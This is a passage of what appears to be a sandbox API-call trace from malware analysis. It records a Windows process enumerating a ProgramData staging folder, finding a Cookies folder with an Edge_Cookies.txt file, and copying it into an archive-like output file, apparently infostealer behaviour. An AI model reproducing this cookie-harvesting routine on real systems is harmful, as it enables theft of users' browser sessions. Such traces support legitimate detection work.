cbMultiByte=50, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\CC", lpUsedDefaultChar=0x0) returned 50 [0101.949] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112c90 [0101.949] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aafa0 | out: hHeap=0x2110000) returned 1 [0101.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\CC", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0101.949] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21168f8 [0101.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\CC", cchWideChar=4, lpMultiByteStr=0x21168f8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\\CC", lpUsedDefaultChar=0x0) returned 4 [0101.949] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21168f8 | out: hHeap=0x2110000) returned 1 [0101.949] CreateFileA (lpFileName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\CC" (normalized: "c:\\programdata\\2ydss64ut35ivnksmjzuyj213\\files\\cc"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0101.949] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112c90 | out: hHeap=0x2110000) returned 1 [0101.949] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0101.949] DeleteFileW (lpFileName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\CC" (normalized: "c:\\programdata\\2ydss64ut35ivnksmjzuyj213\\files\\cc")) returned 0 [0101.949] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112810 | out: hHeap=0x2110000) returned 1 [0101.949] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19ef24 | out: lpFindFileData=0x19ef24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x326dfabd, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x326dfabd, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x326dfabd, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0101.949] lstrcpyW (in: lpString1=0x19f174, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files" [0101.949] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files", lpString2="\\" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\" [0101.949] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\", lpString2="Cookies" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Cookies") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Cookies" [0101.950] lstrcpyW (in: lpString1=0x19f37c, lpString2="" | out: lpString1="") returned="" [0101.950] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0101.950] lstrcatW (in: lpString1="\\", lpString2="Cookies" | out: lpString1="\\Cookies") returned="\\Cookies" [0101.950] lstrcmpW (lpString1="Cookies", lpString2=".") returned 1 [0101.950] lstrcmpW (lpString1="Cookies", lpString2="..") returned 1 [0101.950] lstrcpyW (in: lpString1=0x19ec04, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Cookies" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Cookies") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Cookies" [0101.950] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Cookies", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Cookies\\*.*") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Cookies\\*.*" [0101.950] FindFirstFileW (in: lpFileName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Cookies\\*.*", lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x326dfabd, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x326dfabd, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x32bd112c, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d1d58 [0101.950] lstrcpyW (in: lpString1=0x19e7f4, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Cookies" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Cookies") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Cookies" [0101.950] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Cookies", lpString2="\\" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Cookies\\") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Cookies\\" [0101.950] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Cookies\\", lpString2="." | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Cookies\\.") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Cookies\\." [0101.950] lstrcpyW (in: lpString1=0x19e9fc, lpString2="\\Cookies" | out: lpString1="\\Cookies") returned="\\Cookies" [0101.950] lstrcatW (in: lpString1="\\Cookies", lpString2="\\" | out: lpString1="\\Cookies\\") returned="\\Cookies\\" [0101.950] lstrcatW (in: lpString1="\\Cookies\\", lpString2="." | out: lpString1="\\Cookies\\.") returned="\\Cookies\\." [0101.950] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0101.950] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x326dfabd, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x326dfabd, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x32bd112c, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.950] lstrcpyW (in: lpString1=0x19e7f4, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Cookies" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Cookies") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Cookies" [0101.950] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Cookies", lpString2="\\" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Cookies\\") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Cookies\\" [0101.950] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Cookies\\", lpString2=".." | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Cookies\\..") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Cookies\\.." [0101.950] lstrcpyW (in: lpString1=0x19e9fc, lpString2="\\Cookies" | out: lpString1="\\Cookies") returned="\\Cookies" [0101.950] lstrcatW (in: lpString1="\\Cookies", lpString2="\\" | out: lpString1="\\Cookies\\") returned="\\Cookies\\" [0101.950] lstrcatW (in: lpString1="\\Cookies\\", lpString2=".." | out: lpString1="\\Cookies\\..") returned="\\Cookies\\.." [0101.951] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0101.951] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0101.951] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32bd112c, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x32bd112c, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x32bd112c, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Edge_Cookies.txt", cAlternateFileName="EDGE_C~1.TXT")) returned 1 [0101.951] lstrcpyW (in: lpString1=0x19e7f4, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Cookies" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Cookies") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Cookies" [0101.951] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Cookies", lpString2="\\" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Cookies\\") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Cookies\\" [0101.951] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Cookies\\", lpString2="Edge_Cookies.txt" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Cookies\\Edge_Cookies.txt") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Cookies\\Edge_Cookies.txt" [0101.951] lstrcpyW (in: lpString1=0x19e9fc, lpString2="\\Cookies" | out: lpString1="\\Cookies") returned="\\Cookies" [0101.951] lstrcatW (in: lpString1="\\Cookies", lpString2="\\" | out: lpString1="\\Cookies\\") returned="\\Cookies\\" [0101.951] lstrcatW (in: lpString1="\\Cookies\\", lpString2="Edge_Cookies.txt" | out: lpString1="\\Cookies\\Edge_Cookies.txt") returned="\\Cookies\\Edge_Cookies.txt" [0101.951] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x90) returned 0x3430048 [0101.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Cookies\\Edge_Cookies.txt", cchWideChar=72, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 72 [0101.951] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x48) returned 0x33ab1f8 [0101.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Cookies\\Edge_Cookies.txt", cchWideChar=72, lpMultiByteStr=0x33ab1f8, cbMultiByte=72, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Cookies\\Edge_Cookies.txt", lpUsedDefaultChar=0x0) returned 72 [0101.951] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x33aa2a0 [0101.951] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33ab1f8 | out: hHeap=0x2110000) returned 1 [0101.951] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0101.951] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ee2c, cbMultiByte=4, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0101.951] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x8) returned 0x2116878 [0101.951] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ee2c, cbMultiByte=4, lpWideCharStr=0x2116878, cchWideChar=4 | out: lpWideCharStr="*.*") returned 4 [0101.951] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2116878 | out: hHeap=0x2110000) returned 1 [0101.951] PathMatchSpecW (pszFile="Edge_Cookies.txt", pszSpec="*.*") returned 1 [0101.951] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x90) returned 0x3430048 [0101.951] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112e40 [0101.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Cookies\\Edge_Cookies.txt", cchWideChar=72, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 72 [0101.951] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x48) returned 0x33ab428 [0101.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Cookies\\Edge_Cookies.txt", cchWideChar=72, lpMultiByteStr=0x33ab428, cbMultiByte=72, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Cookies\\Edge_Cookies.txt", lpUsedDefaultChar=0x0) returned 72 [0101.952] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x33aa248 [0101.952] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33ab428 | out: hHeap=0x2110000) returned 1 [0101.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Cookies\\Edge_Cookies.txt", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0101.952] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x1a) returned 0x3430420 [0101.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Cookies\\Edge_Cookies.txt", cchWideChar=26, lpMultiByteStr=0x3430420, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\\Cookies\\Edge_Cookies.txt", lpUsedDefaultChar=0x0) returned 26 [0101.952] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x34306c8 [0101.952] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430420 | out: hHeap=0x2110000) returned 1 [0101.956] GetLastError () returned 0x5 [0101.956] SetLastError (dwErrCode=0x5) [0101.956] GetLastError () returned 0x5 [0101.956] SetLastError (dwErrCode=0x5) [0101.956] GetLastError () returned 0x5 [0101.956] SetLastError (dwErrCode=0x5) [0101.956] GetLastError () returned 0x5 [0101.956] SetLastError (dwErrCode=0x5) [0101.956] GetLastError () returned 0x5 [0101.956] SetLastError (dwErrCode=0x5) [0101.956] GetLastError () returned 0x5 [0101.956] SetLastError (dwErrCode=0x5) [0101.957] GetLastError () returned 0x5 [0101.957] SetLastError (dwErrCode=0x5) [0101.957] GetLastError () returned 0x5 [0101.957] SetLastError (dwErrCode=0x5) [0101.957] CreateFileA (lpFileName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Cookies\\Edge_Cookies.txt" (normalized: "c:\\programdata\\2ydss64ut35ivnksmjzuyj213\\files\\cookies\\edge_cookies.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0102.001] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0102.001] GetFileInformationByHandle (in: hFile=0x4f0, lpFileInformation=0x19df48 | out: lpFileInformation=0x19df48) returned 1 [0102.001] GetFileSize (in: hFile=0x4f0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x0 [0102.001] FileTimeToSystemTime (in: lpFileTime=0x19df08, lpSystemTime=0x19def0 | out: lpSystemTime=0x19def0) returned 1 [0102.001] SetFilePointer (in: hFile=0x4f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0102.005] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfdf*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19dfdf*, lpNumberOfBytesWritten=0x19dfbc*=0x1, lpOverlapped=0x0) returned 1 [0102.006] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfdf*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfb0, lpOverlapped=0x0 | out: lpBuffer=0x19dfdf*, lpNumberOfBytesWritten=0x19dfb0*=0x1, lpOverlapped=0x0) returned 1 [0102.006] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfa4, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfa4*=0x1, lpOverlapped=0x0) returned 1 [0102.006] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df98, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df98*=0x1, lpOverlapped=0x0) returned 1 [0102.007] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df8c, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df8c*=0x1, lpOverlapped=0x0) returned 1 [0102.007] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df80, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df80*=0x1, lpOverlapped=0x0) returned 1 [0102.007] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfbc*=0x1, lpOverlapped=0x0) returned 1 [0102.007] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfb0, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfb0*=0x1, lpOverlapped=0x0) returned 1 [0102.007] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfa4, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfa4*=0x1, lpOverlapped=0x0) returned 1 [0102.007] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df98, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df98*=0x1, lpOverlapped=0x0) returned 1 [0102.007] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df8c, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df8c*=0x1, lpOverlapped=0x0) returned 1 [0102.008] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df80, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df80*=0x1, lpOverlapped=0x0) returned 1 [0102.008] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfbc*=0x1, lpOverlapped=0x0) returned 1 [0102.009] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfb0, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfb0*=0x1, lpOverlapped=0x0) returned 1 [0102.009] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfa4, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfa4*=0x1, lpOverlapped=0x0) returned 1 [0102.009] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df98, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df98*=0x1, lpOverlapped=0x0) returned 1 [0102.009] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df8c, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df8c*=0x1, lpOverlapped=0x0) returned 1 [0102.009] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df80, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df80*=0x1, lpOverlapped=0x0) returned 1 [0102.009] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfbc*=0x1, lpOverlapped=0x0) returned 1 [0102.009] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfb0, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfb0*=0x1, lpOverlapped=0x0) returned 1 [0102.009] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfa4, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfa4*=0x1, lpOverlapped=0x0) returned 1 [0102.009] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df98, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df98*=0x1, lpOverlapped=0x0) returned 1 [0102.009] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df8c, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df8c*=0x1, lpOverlapped=0x0) returned 1 [0102.010] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df80, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df80*=0x1, lpOverlapped=0x0) returned 1 [0102.010] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfbc*=0x1, lpOverlapped=0x0) returned 1 [0102.010] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfb0, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfb0*=0x1, lpOverlapped=0x0) returned 1 [0102.010] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfa4, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfa4*=0x1, lpOverlapped=0x0) returned 1 [0102.010] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df98, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df98*=0x1, lpOverlapped=0x0) returned 1 [0102.010] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df8c, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df8c*=0x1, lpOverlapped=0x0) returned 1 [0102.010] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df80, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df80*=0x1, lpOverlapped=0x0) returned 1 [0102.010] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e160*, nNumberOfBytesToWrite=0x19, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19e160*, lpNumberOfBytesWritten=0x19dfbc*=0x19, lpOverlapped=0x0) returned 1 [0102.010] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e378*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19e378*, lpNumberOfBytesWritten=0x19dfbc*=0x11, lpOverlapped=0x0) returned 1 [0102.010] GetDesktopWindow () returned 0x10010 [0102.010] GetTickCount () returned 0x15aaa56 [0102.010] GetLastError () returned 0x0 [0102.011] SetLastError (dwErrCode=0x0) [0102.011] GetLastError () returned 0x0 [0102.011] SetLastError (dwErrCode=0x0) [0102.011] GetLastError () returned 0x0 [0102.011] SetLastError (dwErrCode=0x0) [0102.011] GetLastError () returned 0x0 [0102.011] SetLastError (dwErrCode=0x0) [0102.011] GetLastError () returned 0x0 [0102.011] SetLastError (dwErrCode=0x0) [0102.011] GetLastError () returned 0x0 [0102.011] SetLastError (dwErrCode=0x0) [0102.011] GetLastError () returned 0x0 [0102.011] SetLastError (dwErrCode=0x0) [0102.011] GetLastError () returned 0x0 [0102.011] SetLastError (dwErrCode=0x0) [0102.011] GetLastError () returned 0x0 [0102.011] SetLastError (dwErrCode=0x0) [0102.011] GetLastError () returned 0x0 [0102.012] SetLastError (dwErrCode=0x0) [0102.012] GetLastError () returned 0x0 [0102.012] SetLastError (dwErrCode=0x0) [0102.012] GetLastError () returned 0x0 [0102.012] SetLastError (dwErrCode=0x0) [0102.012] GetLastError () returned 0x0 [0102.012] SetLastError (dwErrCode=0x0) [0102.012] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x6afa8) returned 0x33afa28 [0102.014] ReadFile (in: hFile=0x4f0, lpBuffer=0x33ca998, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x19dfa4, lpOverlapped=0x0 | out: lpBuffer=0x33ca998*, lpNumberOfBytesRead=0x19dfa4*=0x0, lpOverlapped=0x0) returned 1 [0102.015] WriteFile (in: hFile=0x2f8, lpBuffer=0x33aba1c*, nNumberOfBytesToWrite=0x2, 